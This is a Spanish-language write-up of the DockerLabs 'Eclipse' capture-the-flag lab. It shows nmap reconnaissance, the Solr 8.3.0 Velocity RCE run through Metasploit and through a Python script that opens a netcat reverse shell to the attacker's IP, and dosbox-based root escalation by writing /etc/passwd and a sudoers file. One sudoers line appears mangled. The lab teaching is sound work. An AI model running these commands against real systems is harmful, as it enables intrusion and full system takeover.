Post

Eclipse , DockerLabs

portada

En este reto de DockerLabs aprendemos.

  • Scan de puertos
  • Explotacion Slor 8.3.0

Herramientas y recursos

Reconocimiento y enumeracion

Lanzamos nmap con los parámetros de costumbre en un ctf.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX eclipse 172.17.0.2

reporte

Después de revisar el reporte de nmap nos encontramos con el puerto 80 el cual corre un servicio apache , también observamos que corre otro servicio en el puerto 8983 que resulta ser un servidor web escrito en java usado para realizar búsquedas verticales (es decir dentro un blog por ejemplo).

En el 80 solo disponemos de una imagen la cual no nos proporciona nada así que investigamos bien a solr.

solr

Como vemos en la parte del dashboard ya nos dice la versión , con ese dato paso a buscar si es explotable.

Estamos de suerte y encontramos varios métodos realmente es el mismo pero con distintas formas uno con metasploit y otro con un script de python.

Intrusion

Realizo tanto método con msfconsole como con script

Ojo los que no acostumbramos a usar msf pues se me pasaba por alto el parámetro set target y no me funcionaba

Con metasploit sigo los pasos después de leerlo bien y nos adaptamos a nuestro entorno.

metasploit

msf

1
2
3
4
5
use exploit/multi/http/solr_velocity_rce
set RHOST 172.17.0.2
check
set TARGET 1
set LHOST 192.168.0.112

Si nos fijamos en la imagen de abajo y dependiendo del softaware a explotar también disponemos de opciones dependiendo de donde este instalado dicho software, show options y show targets hay que acostumbrase a invocarlos.

target

Hasta que me di cuenta del target paso un buen rato :-)…….

revmeta

Hasta aquí con metasploit.

Metodo script

Con este método es incluso mas sencillo solo debemos indicar la ip de la victima , el puerto y el comando a ejecutar por defecto tira un whoami

script

Vamos a través del script a mandarnos una shell con netcat.

Para ello en la victima ejecutamos.

1
python3 exploit_solr_8.3.0_velocity.py 172.17.0.2 8983 "nc 192.168.0.112 9999 -c /bin/bash"

y nos ponemos a la escucha.

1
nc -lnvp 9999

recibida

Realizamos tratamiento de la tty

1
2
3
script /dev/null -c bash
control 
stty raw -echo; fg

Escalada

Lo primero pruebo con sudo y nos pide pass, después tiro de find , con find obtenemos dosbox.

Leyendo un poco entiendo que el binario nos permite escribir si no me equivoco aquí tendríamos varios archivos en los que poder escribir para hacernos root.

Trate de escribir el fichero /etc/passwd el cual conseguía escribirlo pero al realizar su con el nuevo usuario que le ponía no me permitía el login error authentication failure

Con mi método hacia lo siguiente pero no conseguí que funcionara.

1
2
3
LFILE=/etc/passwd
openssl passwd -1 -salt "loco" "qwerty"
/usr/bin/dosbox -c 'mount c /' -c "echo loco:$1$lvWjKN2kvSJaYzi69Mk/:0:0:root:/root:/bin/bash >>c:$LFILE" -c exit

Como veis intentaba crear un usuario con privilegios de root y lo añadía al /etc/passwd.Aparentemente se añadía pero no permitía el login.

Así que para terminar la maquina realice lo siguiente con sudoers.

1
2
LFILE=/etc/sudoers.d/ninhack
dosbox -c 'mount c /' -c "echo ninhack ALL=(ALL) D: ALL >c:$LFILE" -c exit

root

Muchas gracias por leer compartan y si averiguan como conseguirlo a través del passwd comenten ….un saludo.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.